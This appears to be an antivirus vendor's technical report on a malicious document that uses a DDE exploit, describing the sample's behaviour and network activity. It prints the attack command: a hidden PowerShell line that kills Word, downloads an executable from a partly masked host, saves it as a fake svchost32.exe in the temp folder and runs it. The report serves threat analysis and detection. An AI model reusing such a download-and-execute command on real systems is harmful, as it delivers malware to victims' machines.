Technical Information
Malicious functions
Downloads and executes
- http://fa###cargo.com/images/file/dde/6.exe as %temp%\svchost32.exe
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im winword.exe&powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://fa###cargo.com/images/file/dde/6.exe','%temp%\svchost32.exe');Start-Process '%temp%\sv...
Network activity
TCP
HTTP GET requests
- http://fa###cargo.com/images/file/dde/6.exe
UDP
- DNS ASK fa###cargo.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
